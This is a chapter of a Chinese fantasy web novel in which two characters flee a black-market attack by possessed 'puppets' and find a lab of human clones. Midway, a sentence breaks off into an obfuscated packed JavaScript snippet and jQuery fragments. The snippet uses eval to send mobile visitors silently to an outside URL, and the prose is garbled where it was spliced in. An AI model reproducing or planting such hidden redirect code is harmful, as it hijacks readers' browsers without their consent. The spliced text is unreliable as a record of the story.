林响把帽檐压得更低,劣质合成革风衣的领口蹭着下巴,带来一阵粗糙的痒意。黑市入口藏在废弃地铁站的男厕所里,尿渍斑驳的瓷砖墙上,"正在维修" 的指示牌后藏着暗门,门把是段生锈的钢筋,转动时发出牙酸的 "嘎吱" 声,像骨头摩擦的声响。通风管道里传来老鼠窸窣的跑动声,混着远处地铁驶过的震动,让这处隐秘入口更显诡异。
"进去别乱看,别接任何人递来的东西。" 沈默的声音贴着她的耳廓传来,带着金属摩擦般的质感。他今天换了件深灰色工装夹克,左袖管空荡荡地掖在口袋里,露出的机械义肢被伪装成普通假肢的模样,硅胶皮肤在昏暗的光线下泛着不自然的光泽。林响注意到他右手虎口处有道新鲜的划痕,还沾着干涸的褐色血痂,显然是今早才添的新伤。
黑市内部是条绵延百米的隧道,原本的轨道被改成摊位,生锈的枕木上摆着各式禁忌品。穿黑裙的女人用镊子夹着发光的情灵碎片,像卖糖果似的吆喝,她的指甲涂成深紫色,指尖划过碎片时激起细碎的火花;戴防毒面具的摊主正往玻璃瓶里灌装粉色烟雾,标签上写着 "极乐三分钟",瓶身上的骷髅头标志被涂鸦成笑脸;最角落的摊位摆着排玻璃罐,泡在福尔马林里的情灵残骸在幽暗灯光下缓缓舒展,像某种深海生物的触须,其中一罐里的残骸酷似缩小的人手,指节还会偶尔抽搐。
空气中弥漫着复杂的气味,汗水混着廉价香水,福尔马林的刺鼻味里裹着甜腻的情欲气息,还有一丝若有若无的血腥味,像藏在蛋糕里的刀片。林响感到肩头的黑龙在躁动,鳞片摩擦的细微声响只有她能听见,那些陈列的情灵残骸让它兴奋又警惕,像是闻到了同类的气息。她下意识地拢紧风衣,口袋里的加密芯片硌着胯骨,棱角分明得像块碎玻璃。
"抑能项圈在 B 区十三号。" 沈默的机械手指在虚拟地图上轻点,投影在潮湿的隧道壁上,泛着不稳定的蓝光。地图上跳动着密密麻麻的红点,代表着活跃的情灵能量源。"交易时我会掩护你,拿到东西就走,别停留。那边的摊主是个独眼龙,左眼眶里嵌着情灵探测器,别和他对视超过三秒。"
林响点点头,攥紧了口袋里的加密芯片。那是用旧公寓墙里的情灵残骸换来的硬通货,在黑市能换半条命。她按照沈默的指引穿过人群,擦肩而过的男人突然抓住她的手腕,他的眼球是浑浊的乳白色,嘴角咧到耳根的笑容凝固着诡异的狂喜:"新来的?试试这个?" 他摊开的手心躺着颗糖果大小的胶囊,表面流转着彩虹般的光泽,"吃了能看见最快乐的回忆...... 我女儿生前最喜欢这个,她说能看见我带她去游乐园的样子......"
"放手。" 林响猛地抽回手,指尖触到男人皮肤的瞬间,感到一阵刺骨的冰冷。他的手腕内侧有圈淡紫色的纹路,像被勒紧的淤痕,纹路里隐约可见细小的黑色血管在蠕动。周围几个摊主投来漠然的目光,仿佛这种骚扰是黑市的常态,他们的眼神里都带着种麻木的狂热,像被抽走灵魂的玩偶。
"哟,还是只带刺的玫瑰。" 男人怪笑两声,刚要再说什么,突然像被抽走提线木偶的丝线般僵住,眼珠里的光泽迅速褪去,变成空洞的灰白色。他的嘴角保持着上扬的弧度,却再也没有任何表情,像尊诡异的蜡像。周围响起此起彼伏的尖叫,原本喧闹的黑市像被按下暂停键,随即爆发出更加疯狂的骚动。
那些刚才还在讨价还价的人们,此刻都露出了同样的狂喜表情,嘴角以违反生理结构的角度向上弯起,四肢以诡异的角度扭曲舞动。穿黑裙的女人把情灵碎片塞进嘴里,咀嚼时发出清脆的响声;戴防毒面具的摊主砸碎了所有瓶子,粉色烟雾弥漫中,他搂着空气跳起华尔兹;玻璃罐摊位前的顾客正用牙齿啃咬罐口,鲜血顺着下巴滴进福尔马林里,激起细密的血珠。他们的瞳孔里浮现出流动的墨色,像被墨汁污染的清水,动作整齐划一得令人毛骨悚然,仿佛背后有双无形的手在操纵。
"是狂欢人偶!" 沈默的声音穿透混乱的人群,他不知何时出现在林响身后,机械义肢已经弹出暗藏的刀刃,蓝光在昏暗的隧道里划出锐利的弧线,"影师来了!他在释放情绪共鸣波!"
狂欢人偶们像潮水般涌来,他们的关节发出 "咔咔" 的声响,指甲在地面划出火星。一个穿校服的女孩扑到林响面前,脸上还带着未脱的稚气,眼睛里却燃烧着狂热的火焰,张开嘴咬向她的脖颈 —— 她的牙齿已经变得尖利如刀,牙龈渗着血丝,嘴角挂着涎水和某种灰色的粘稠物。林响侧身躲过,女孩的牙齿咬在她身后的铁柱上,发出刺耳的金属摩擦声,竟咬出几个深深的牙印。
沈默的刀刃精准地刺入女孩的肩胛,却没流出鲜血,只有淡灰色的烟雾从伤口涌出,烟雾中隐约可见细小的人形轮廓在尖叫。"他们不是活人,是被情灵寄生的躯壳!" 他一边格挡一边后退,机械义肢的硅胶外壳在碰撞中裂开,露出里面泛着冷光的金属骨架,齿轮转动时溅出细小的火花,"影师能操纵情绪聚合体,把普通人变成没有自主意识的人偶!这些人早就被情灵侵蚀了,现在只是彻底失控!"
林响感到肩头的黑龙在咆哮,锁链震动的频率让她头晕目眩。她看见一个狂欢人偶的胸腔突然裂开,里面钻出团蠕动的灰色触须,正贪婪地吮吸着周围的情绪能量,触须扫过之处,所有的情灵残骸都发出共鸣般的震颤。当触须扫过她的风衣时,黑龙突然冲破无形的束缚,0.5 秒的显形时间里,幼龙的利爪撕裂了触须,灰色液体溅在地上发出 "滋滋" 的声响,腐蚀出冒着白烟的小坑。
"这边!" 沈默抓住她的手腕往侧面冲,机械义肢的关节在高速运动中发出蜂鸣,金属与骨骼连接处的皮肤被磨得发红。他们钻进条狭窄的通道,通道两侧堆着废弃的医疗器械,生锈的手术刀和输液瓶在奔跑中被踢得叮当作响。身后传来人偶们撞墙的闷响,夹杂着骨头断裂的脆响,显然那些失去理智的躯壳正在互相撕扯。
通道尽头是间废弃的维修室,沈默反手锁上门,靠在锈迹斑斑的管道上喘息,汗水顺着他眉骨的疤痕滑落,在下巴汇聚成珠滴落在地上。他从背包里掏出个金属小瓶,往机械义肢的关节处喷着润滑剂,白色的雾气在接触金属的瞬间消散,发出 "嘶嘶" 的声响。
林响盯着他裂开的左袖,机械义肢的金属指节还在微微颤抖,关节处的编号依稀可见:734-EX。"改造士兵?" 她想起在旧报纸上见过的名词,那是情灵战争时期的秘密项目,用机械改造人体来增强对情灵的抵抗力,报纸上的照片模糊不清,只记得那些士兵的眼睛都像淬了冰,"你是战争幸存者。"
沈默沉默着扯下破损的硅胶外壳,露出完整的机械义肢。月光从通风口照进来,在金属表面投下斑驳的光影,那些精密的齿轮和管线像某种奇异的血管,在关节处还能看到暗红色的血迹。"第七机动小队,编号 734。" 他的声音低沉,带着种金属摩擦的质感,"战争结束后,我们这种改造人就成了累赘,要么被销毁,要么被卖到黑市当角斗士。我的战友们......" 他顿了顿,喉结滚动了一下,"最后都成了情灵的容器。"
机械义肢突然发出急促的警报声,红色的指示灯在掌心闪烁,发出刺眼的光芒。沈默的脸色骤变:"他们追来了,影师能通过情灵能量追踪改造人的神经信号,我的义肢里有战争时期的神经连接器,能被他的情灵波定位!" 他从背包里翻出个金属球扔在地上,球体展开成面能量屏障,淡蓝色的光幕上流动着复杂的符文,"这只能挡住三分钟,我们得换条路去研究所,黑市已经不安全了。"
研究所的档案室在市立图书馆的地下三层,伪装成古籍修复室。管理员是个戴单片眼镜的老人,手指关节因为常年接触化学品而呈现出不正常的蜡黄色。他看见沈默的机械义肢时,浑浊的眼睛里闪过一丝怜悯,没说多余的话就掀开了书架后的暗门,暗门轴承转动时发出的声响被他用个铜铃巧妙地掩盖过去。
密道里弥漫着福尔马林和灰尘混合的气味,墙壁上贴着泛黄的实验报告,边角已经卷曲发黑,上面的字迹被潮气晕染得模糊不清,隐约能辨认出 "心像海"" 情灵容器 ""克隆体" 等字眼。林响的靴底踩在碎玻璃上发出清脆的声响,那些玻璃碎片在灯光下泛着淡淡的蓝光,像是情灵残骸的粉末,其中一片沾着暗红色的纤维,像是干涸的血迹。
"前面就是地下实验室。" 沈默的机械义肢突然指向左侧,金属指尖在空气中划出荧光轨迹,轨迹接触到墙壁时激起细小的火花,"这里的情灵能量场很异常,和心像海惨案现场的频率相似,你感觉到了吗?"
林响确实感觉到了,肩头的黑龙变得异常活跃,鳞片摩擦的声音越来越清晰,像是在回应某种古老的召唤。她的太阳穴突突直跳,眼前开始出现零星的幻觉 —— 黑色的海水,漂浮的尸体,还有道刺目的白光从海底升起。
实验室的大门是块完整的防弹玻璃,厚度至少有十厘米,玻璃上贴着张泛黄的照片,一群白大褂围着个巨大的容器,容器里隐约可见漂浮的人影,照片边缘有烧灼的痕迹,像是从火里抢救出来的。沈默用机械义肢破解密码锁时,金属指尖在键盘上飞舞,屏幕上跳动的代码像瀑布般流淌,他的额头上渗出细密的汗珠,滴落在键盘上激起微小的涟漪。
当门锁发出 "嘀" 的轻响,玻璃门缓缓滑开的瞬间,林响感到血液都冻结了。
数十个冷藏舱整齐地排列在实验室中央,淡绿色的营养液里漂浮着各式各样的人体,有的缺了胳膊,露出金属的接口;有的长着鳞片,鱼尾在液体里缓缓摆动;还有的身体里插满了管线,像棵被嫁接的植物。而最里面那个最大的冷藏舱里,漂浮着个与林响长得一模一样的少女,她闭着眼睛,长长的睫毛在玻璃上投下淡淡的阴影,胸口插着根透明的管子,里面流动着金色的液体,像融化的阳光,在液体里缓缓旋转成漩涡。
"克隆体。" 沈默的声音带着压抑的愤怒,机械义肢捏得指节发白,金属摩擦发出刺耳的声响,"心像海惨案后,研究所一直在秘密进行人体克隆实验,用遇难者的基因培育新身体,作为情灵的容器。这些克隆体的基因序列都被修改过,能更好地容纳情灵能量。" 他指向冷藏舱侧面的显示屏,上面跳动着复
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978092|177904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杂的基因图谱,"你看这个标记,代表着情灵亲和力指数,你的克隆体是 98.7,是我见过最高的。"
林响走到冷藏舱前,指尖贴上冰冷的玻璃。克隆体的脸颊上有颗和她一模一样的痣,就在左眼下方,像滴凝固的泪。她的呼吸在玻璃上凝成白雾,白雾散去的瞬间,克隆体突然睁开了眼睛 —— 那是双纯黑色的瞳孔,没有一丝眼白,正死死地盯着她,眼神里充满了不属于人类的狂热与痛苦。
黑龙在这一刻爆发了。林响感到肩头的重量突然增加,锁链震动的频率让她的骨头都在发麻,牙齿咬得咯咯作响。冷藏舱的玻璃 "咔嚓" 一声裂开蛛网般的纹路,裂纹蔓延时发出细微的声响,像某种东西正在苏醒。克隆体眼中的黑色迅速褪去,露出与林响相同的琥珀色,嘴唇微动,无声地吐出两个字:救我。
警报声突然响彻实验室,红色的警示灯在天花板上旋转,将一切都染上诡异的血色。走廊里传来沉重的脚步声,守卫们穿着防化服,靴底的防滑纹路在地面擦出刺耳的声响,手里的武器对准了他们,枪口闪烁着冰冷的金属光泽。当第一个守卫冲进来时,林响看见他的防化服下,有什么东西在皮肤下游动,像无数细小的蝎子在爬行,勾勒出骨骼的形状。
"恐惧毒蝎。" 沈默的刀刃已经弹出,蓝光在昏暗的实验室里跳跃,刀刃上倒映着红色的警示灯,"高阶恐惧情灵,能钻进人的血管,放大所有负面情绪。被寄生的人会被自己的恐惧吞噬,变成只知道杀戮的怪物!"
守卫们的眼睛突然变得通红,像烧红的烙铁,皮肤下的凸起迅速移动到喉咙处,鼓起一个个狰狞的包块。他们张开嘴,露出尖利的毒牙,涎水混合着绿色的毒液滴在地上,腐蚀出冒烟的小坑,坑洞里冒出的白烟中隐约可见扭曲的人脸。当第一个守卫扑过来时,黑龙再次显形,这次持续了整整三秒。
缠绕锁链的黑龙已经长到三米长,鳞片在灯光下泛着暗金色的光泽,每片鳞上都流转着古老的符文,锁链的符文在吞噬恐惧情灵时亮起红光,像烧红的烙铁。当它的利爪撕裂守卫的喉咙,绿色毒液溅在鳞片上发出 "滋滋" 的声响时,林响突然看清了鳞片上浮现的画面 ——
那是个穿着病号服的小男孩,正在机械臂的帮助下练习走路,金属义肢与地面接触时发出清脆的声响,旁边站着个戴眼镜的男人,温柔地帮他擦掉眼泪,镜片后的眼睛里满是慈爱;画面一转,小男孩躺在手术台上,机械臂变成了冰冷的束缚带,男人的白大褂上沾满了鲜血,手里的手术刀泛着寒光;最后一幅画面里,小男孩举着刀刺向男人,脸上分不清是泪水还是血水,背景里是熊熊燃烧的实验室,无数克隆体的培养舱在火中炸裂。
"那是我的记忆。" 沈默的声音带着难以置信的颤抖,机械义肢的金属指节在颤抖,关节处的螺丝都松动了两颗,"我小时候在战争孤儿院,是张博士救了我,他说会给我新的人生...... 后来我才知道,他只是把我当成培养战争机器的容器......"
黑龙吞噬完最后一只恐惧毒蝎,体型已经接近五米,实验室的天花板被它的龙角顶出裂痕,混凝土碎块像雨点般落下。林响感到意识开始模糊,情灵与宿主的能量链接让她共享着黑龙的狂喜与愤怒,那些鳞片上的画面像电影般在她脑海里闪过,沈默的童年,心像海的灾难,还有那个克隆体无声的求救,所有的碎片都在拼凑成一个可怕的真相。
突然,实验室的广播系统发出刺耳的杂音,接着响起个经过处理的电子音,像无数根针在刺听者的耳膜:"感谢各位的精彩表演。" 影师的声音带着病态的愉悦,每个音节都像裹着蜜糖的毒药,"通知所有情灵宿主,三日后,在心像海塔,我们将重启净罪仪式。这次,我们会彻底净化这个被情绪污染的世界,让所有灵魂回归心像海的怀抱......"
广播突然中断,留下滋啦的电流声在实验室里回荡。黑龙发出一声震耳欲聋的咆哮,龙尾扫过冷藏舱,玻璃碎裂的声音中,林响看见那个与她相似的克隆体,嘴角勾起了抹诡异的笑容,她的眼睛里再次浮现出纯黑的瞳孔,这次林响看清了,瞳孔深处有个微小的影子,像只蜷缩的蝴蝶。
沈默的机械义肢突然指向监控屏幕,上面不知何时出现了心像海塔的三维模型,塔顶的位置闪烁着红光,像只睁开的眼睛,红光的频率与黑龙鳞片上的符文闪烁频率惊人地一致。"净罪仪式是心像海惨案的源头。" 他调出加密文件,屏幕上滚动着泛黄的实验记录,照片上的张博士与影师的轮廓惊人地相似,"他们想用人偶和克隆体作为容器,在塔顶召唤原始情灵,彻底重置人类的情绪系统,把所有人都变成没有痛苦的空壳!"
林响看着自己映在碎玻璃上的脸,与冷藏舱里的克隆体重叠在一起,两张脸的左眼下方都有颗痣,在红色的警示灯下泛着诡异的光泽。黑龙在她身后不安地躁动,锁链的震动频率越来越快,像是在回应某个遥远的呼唤。三日后的心像海塔,等待她的究竟是救赎,还是毁灭?实验室的通风口传来风的呼啸,像无数冤魂在低语,预示着即将到来的风暴,而她知道,自己已经没有退路。